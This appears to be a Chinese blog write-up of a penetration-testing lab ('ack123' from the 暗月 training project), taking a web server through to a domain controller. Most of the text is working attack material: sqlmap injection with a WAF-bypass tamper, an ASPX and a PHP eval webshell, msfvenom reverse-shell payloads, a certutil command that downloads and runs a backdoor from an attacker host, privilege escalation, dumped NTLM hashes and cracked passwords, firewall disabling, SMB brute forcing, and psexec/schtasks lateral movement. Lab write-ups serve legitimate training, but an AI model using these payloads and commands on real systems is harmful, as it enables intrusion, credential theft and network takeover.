暗月项目十二-ack123靶场

descript

descript

渗透过程概述:

1、信息收集-->sql注入漏洞-->后台文件上传漏洞getshell

下载hdh cms源码,收集信息。注册admin用户,验证用户存在。search.aspx存在sql注入漏洞,MDB Viewer打开数据库,sqlmap设置tamper=randomcase过waf,根据表结构暴破账号密码。登录后台,发现Ueditor 1.4.3 存在文件上传漏洞,利用controller.ashx制作上传页面,上传图片马getshell。

2、免杀后门上线msf,烂土豆提权

win10免杀系统制作免杀后门,上线msf。ms16_075烂土豆提权。payload_inject派生到cs,解密ntlm。

3、内网渗透-->横向移动

data1渗透:hdhapp.config里发现数据库连接信息,sql tools连接数据库,执行下载命令并运行后门,上线msf,同样ms16_075烂土豆提权。

web2渗透:jwt_tool.py破解token,御剑扫描到webshell文件,使用K8_FuckOneShell破解webshell密码。或者根据响应头信息,搜索搭建环境版本,得到phpmyadmin路径,利用phpmyadmin日志写shell,直接是系统权限。

dc渗透:利用smb_login模块,暴破smb登录密码。ms17_010相关模块都失败了。psexec模块上线msf,或者schtasks添加计划任务上线msf。

data2渗透:利用域控账号密码建立ipc连接,psexec模块上线data2。


1、信息收集

1.1 masscan+nmap 扫描端口

masscan -p 1-65535 --rate=1000 192.168.59.136

nmap -sC -sV -A -O -Pn 192.168.59.136

访问80端口,发现是HDH cms

descript

1.2 cms 信息收集

1.2.1 下载hdh cms源码,分析目录结构

后台:

http://www.ackmoon.com/admin/login.aspx

搜索:

http://www.ackmoon.com/search.aspx

数据库连接配置文件:

http://www.ackmoon.com/HdhApp.config

数据库文件,查看表结构:

\database\hdhcms.mdb

1.2.2 注册admin,验证用户已存在

descript

1.2.3 或任意注册一个用户,登录后台,收集中间件信息

descript

1.2.4 Ueditor 1.4.3 编辑器存在文件上传漏洞

1.2.5 search.aspx 存在sql注入漏洞

http://www.ackmoon.com/search.aspx

2、漏洞挖掘【HDH CMS sql注入漏洞挖掘与利用】

2.1 定位注入点

http://www.ackmoon.com/search.aspx

descript

descript

burp抓包:

POST /search.aspx?action=ok HTTP/1.1

Host: www.ackmoon.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 52

Origin: http://www.ackmoon.com

Connection: close

Referer: http://www.ackmoon.com/search.aspx

Cookie: ListDid=Did25=25; ASP.NET_SessionId=q0wbrpi0uy5d0g0kw1wr5jik

Upgrade-Insecure-Requests: 1

DonforGjc=1+and+1%3D1&DonforTjk=%E6%90%9C++%E7%B4%A2

2.2 MDB Viewer Plus 打开hdhcms.mdb,熟悉表结构

descript

账号密码在Onkey_DonforGlcy表中:

descript

2.3 sqlmap 暴破

sqlmap -r sql.txt -p DonforGjc --batch --dbs

sqlmap -r sql.txt -p DonforGjc --batch --current-db

sqlmap -r sql.txt -p DonforGjc --batch -D DemoHdhCms --tables

2.3.1 构造 站库分离payload

1');IF(host_name()=@@servername) WAITFOR DELAY '0:0:5'--

2.3.2 根据cms源码的表结构,直接dump账号密码

设置脚本randomcase 过waf

sqlmap -r sql.txt -p DonforGjc --batch -D DemoHdhCms --tables --tamper=randomcase

sqlmap -r sql.txt -p DonforGjc --batch -D DemoHdhCms -T Onkey_DonforGlcy -C admin,pwd --dump --tamper=randomcase

descript

解密:password-moon

2.3.3 --sql-shell 行不通

sqlmap -r sql.txt -p DonforGjc -D DemoHdhCms -T Onkey_DonforGlcy --sql-shell

select pwd from Onkey_DonforGlcy where admin='admin' ---行不通

3、漏洞利用【Ueditor 1.4.3 文件上传漏洞getshell】

3.1 登录后台

http://www.ackmoon.com/admin/login.aspx  admin  password-moon

3.2 Ueditor 编辑器文件上传漏洞getshell

3.2.1 获取controller.ashx的地址

点击 修改文章,抓包。获取controller.ashx地址:

http://www.ackmoon.com/admin/net/controller.ashx?......

descript

3.2.2 新建一个有上传功能的upload_exp.html文件,制作图片马

【upload_exp.html】

<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"

enctype="application/x-www-form-urlencoded" method="POST">

<p>shell addr:

<input type="text" name="source[]" /></p >

<input type="submit" value="Submit" />

</form>

【图片马 shell.png】

<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

3.2.3 kali开启apache服务,上传shell.png图片马到var/www/html/目录

kali开启apache服务:

service apache2 start

在路径框后门输入?.aspx (直接输 .aspx也行)

descript

提交,根据返回信息,获取shell地址:

www.ackmoon.com/upfiles/image/20220427/6378669746359744016160813.aspx

descript

3.2.4 蚁剑连接shell,收集systeminfo

提权exp+杀软识别:

https://i.hacking8.com/tiquan

4、提权

4.1 制作免杀马,上线msf

4.1.1 上传wt.asp 找可执行目录

C:/360Downloads/Software/

4.1.2 制作免杀马

4.1.2.1 msfvenom 生成 py payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f python>r.py

4.1.2.2 替换"buf += b",删除开头和结尾,只保留16进制数据
4.1.2.3 复制到windows10免杀系统里,localhost网站生成base64编码的moon.py 文件,重命名r.py
4.1.2.4 使用1.bat 生成r.exe免杀后门,蚁剑上传后门并执行

4.1.3 上线msf

descript

4.2 ms16-075烂土豆提权

4.2.1 提权

search ms16-075

use exploit/windows/local/ms16_075_reflection_juicy

set session 1

descript

descript

4.2.2 msf 派生到cs

use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set session 2

set lhost 192.168.1.102

set lport 60001

4.3 hash dump

migrate 2280

hashdump

Administrator hash解密:QWEasd.123

descript

4.4 登录远程桌面,关闭杀软和防火墙

netsh advfirewall set allprofiles state off

5、内网渗透【data1渗透】

5.1信息收集

5.1.1主机发现

第一种:arp -a

descript

第二种:run arp_scanner -r 192.168.59.0/24

descript

第三种:udp_sweep模块

use auxiliary/scanner/discovery/udp_sweep

set rhosts 192.168.59.0/24

descript

5.1.2 存活主机 192.168.59.135

排除 136(web1)和 132 (kali)

nmap -sT -Pn -p 445 192.168.59.135 192.168.59.1 192.168.59.2 192.168.59.255

5.1.3 添加路由

run post/multi/manage/autoroute

descript

5.1.4 端口扫描

nmap -sT -Pn 192.168.59.135

descript

5.2 从web1网站文件里,发现数据库连接字符串

<add key="HdhCmsConnStr" value="user id=sa;password=pass123@.com;initial catalog=DemoHdhCms;data source=192.168.59.135"/>

descript

5.3 SQL TOOLS 连接数据库

descript

5.3.1 systeminfo 信息收集

5.3.2 杀软+提权exp 信息

https://i.hacking8.com/tiquan

5.4 certutil 远程下载后门并执行,上线msf

certutil –urlcache –f –split http://192.168.1.101/r.exe C:\Users\MSSQLSERVER\r.exe

5.4.1 SQL TOOLS上传功能无效

5.4.2 certutil,使用windows自带certutil,下载后门到data1可写可执行目录

descript

C:\Users\MSSQLSERVER\

descript

5.4.3 执行后门r.exe,data1上线msf

C:\Users\MSSQLSERVER\r.exe

descript

5.5 ms16_075 烂土豆提权

use exploit/windows/local/ms16_075_reflection_juicy

set session 3

descript

5.6 hash dump,关防火墙

meterpreter > hashdump

netsh advfirewall set ......

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc6ad1748c1d0eacee6adff0c6516dbb:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

解密不出来。

5.7 AspxSpy2014Final.aspx 大马上传功能不好使

5.8 ms sql 开启 xp_cmdshell 功能

EXEC sp_configure'show advanced options', 1

RECONFIGURE;

EXEC sp_configure'xp_cmdshell', 1;

RECONFIGURE;

5.9 关闭远程连接限制

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t reg_dword /d 0 /f

6、横向移动【web2渗透】

6.1 信息收集

6.1.1 主机发现

第一种:run arp_scanner -r 192.168.22.0/24

descript

第二种:udp_sweep 模块(准但太慢)

use auxiliary/scanner/discovery/udp_sweep

set rhosts 192.168.22.0/24

descript

第三种:arp -a 不靠谱

descript

6.1.2 设置代理

use auxiliary/server/socks_proxy

set srvhost 127.0.0.1

6.1.3 存活主机

proxychains nmap -sT -Pn -p 445 192.168.22.1 192.168.22.134 192.168.22.133 192.168.22.135 192.168.22.254 192.168.22.255

6.1.4 端口扫描

proxychains nmap -sT -Pn 192.168.22.135

6.2 getshell

6.2.1 JWT破解

6.2.1.1 burp 登录抓包

descript

6.2.1.2 https://jwt.io/ 在线破解JWT token

修改exp字段,延长过期时间

破解需要密钥:

descript

6.2.1.3 jwt_tool.py 暴破密钥

python3 jwt_tool.py 【token】-C -d rockyou.txt

密钥:Qweasdzxc5

descript 

6.2.1.4 将密钥输入jwt.io的密钥位置,得到新的token

descript

6.2.1.5 将新的token 替换进burp的包里,放包。admin登陆成功

descript

6.2.2 第一种方式getshell:扫敏感文件,暴破webshell密码

6.2.2.1 御剑扫描目录文件

1.php和c.php是空白页面,猜测是webshell

http://192.168.22.135/1.php

http://192.168.22.135/c.php

descript

6.2.2.2 K8tools/K8_FuckOneShell 暴破webshell密码

Dictionary-Of-Pentesting 里的字典txt,替换K8_FuckOneShell\pass.txt

webshell地址:

http://192.168.22.135/1.php cmd

descript

6.2.3 第二种方式getshell:phpMyAdmin写shell

6.2.3.1 确定是phpstudy搭建的,并猜测phpMyAdmin默认路径

搜索server:apache。。。

得到phpstudyPro版本

得到phpMyAdmin版本phpmyadmin4.8.5

或者字典暴破路径

descript

6.2.3.2 访问 http://192.168.22.135/phpmyadmin4.8.5/

账号:root

密码:Qweasdzxc5 (前面 jwt 破解得到的)

6.2.3.3 phpMyAdmin 写shell

show variables like '%general%';

SET GLOBAL general_log='on';

SET GLOBAL general_log_file='C:/phpStudy_pro/www/shell.php';

SELECT '<?php eval($_POST["cmd"]);?>'

shell地址:

http://192.168.22.135/shell.php cmd

descript

6.3 提权

descript

6.4 msf正向连接web2

descript

6.5 hash dump,关防火墙

ps

migrate

hashdump

netsh advfirewall set ......

Administrator:500:aad3b435b51404eeaad3b435b51404ee:b78ee36a79ed9763b66519f86825a6bd:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

moonsec:1001:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

解密不出来。

6、横向移动【dc渗透】

6.1 信息收集

6.1.1 添加路由

run post/multi/manage/autoroute

descript

6.1.2 主机发现

run arp_scanner -r 10.10.10.0/24

auxiliary/scanner/discovery/udp_sweep

descript

6.1.3 存活主机

proxychains nmap -sT -Pn -p 445 10.10.10.138 10.10.10.135 10.10.10.136

6.1.4 端口扫描

proxychains nmap -sT -Pn 10.10.10.135

6.2 smb_login模块暴破smb密码

use auxiliary/scanner/smb/smb_login

set rhosts 10.10.10.135

set smbuser administrator

set smbdomain ack123.com

set pass_file /usr/share/wordlists/fasttrack.txt

set threads 50

descript

descript

账号:ack123.com\administrator

密码:P@55w0rd!

6.3 上线msf,以下几种方式都失败了

6.3.1 auxiliary/scanner/smb/smb_ms17_010

卡住。。。

6.3.2 use exploit/windows/smb/ms17_010_eternalblue

蓝屏。。。

6.3.3 use exploit/windows/smb/ms17_010_psexec

没反应。。。

6.4 上线msf

6.4.1 建立ipc连接

net use \\10.10.10.135\ipc$ "P@55w0rd!" /user:"administrator"

net use

删除ipc连接:

net use \\10.10.10.135\ipc$ /del

descript

6.4.2 sc命令 关闭防火墙

sc \\10.10.10.135 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\10.10.10.135 start unablefirewall

关闭防火墙,提示失败,实际成功了。

descript

descript

6.4.3 上线方式一:psexec

use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp

set rhost 10.10.10.135

set smbdomain ack123.com

set smbuser administrator

set smbpass P@55w0rd!

descript

descript

6.4.4 上线方式二:schtasks 添加计划任务

6.4.4.1 copy b.exe到dc

copy C:\phpstudy_pro\WWW\b.exe \\10.10.10.135\c$\

dir \\10.10.10.135\c$\

6.4.4.2 创建计划任务并执行

设置计划任务定时执行:

schtasks /Create /S 10.10.10.135 /U Administrator /P "P@55w0rd!" /SC ONCE /ST 19:27:01 /TN 361 /TR c:\b.exe /RU Administrator

立即执行:

schtasks /run /s 10.10.10.135 /U Administrator /P "P@55w0rd!" /i /tn 361

descript

6.4.4.3 msf正向连接dc

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set rhost 10.10.10.135

set lport 12346

run

6.4.4.4 schtasks用法

查看dc:

dir \\10.10.10.135\C$ -u administrator -p P@55w0rd!

查看进行:

tasklist /svc /S 10.10.10.135 /U administrator /P P@55w0rd!

查看计划任务:

schtasks /S 10.10.10.135 /U administrator /P P@55w0rd!

远程创建任务计划:

schtasks /create /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】/sc 【schudule】 /tr 【TaskRun】

远程执行任务计划:

schtasks /run /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】

远程终止任务计划:

schtasks /end /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】

远程删除任务计划:

schtasks /delete /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】 删除带确认警告

schtasks /delete /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】 /f 强制删除

6.4.5 上线方式三:远程桌面

6.5 hash dump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:bc23a1506bd3c8d3a533680c516bab27:::

解密:P@55w0rd!

6、横向移动【data2渗透】

防火墙设置里,勾选【文件和打印机共享】,开启445端口

【做法跟dc一模一样。。。】

用域控账号密码 建立ipc连接

关闭防火墙

psexec或者schtasks

msf正向连接

6.1 用域控账号密码 建立ipc连接

net use \\10.10.10.136\ipc$ "P@55w0rd!" /user:"administrator"

net use

descript

靶机C盘映射到本地F盘:

net use f: \\10.10.10.135\c$ P@55w0rd! /user:administrator

descript

6.2 sc命令 关闭防火墙

sc \\10.10.10.136 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\10.10.10.136 start unablefirewall

descript

descript

6.3 psexec模块上线msf

descript

7、权限维持

8、痕迹清理

9、总结

descript

posted @ 2023-03-23 13:44  hello_bao  阅读(1270)  评论(0)    收藏  举报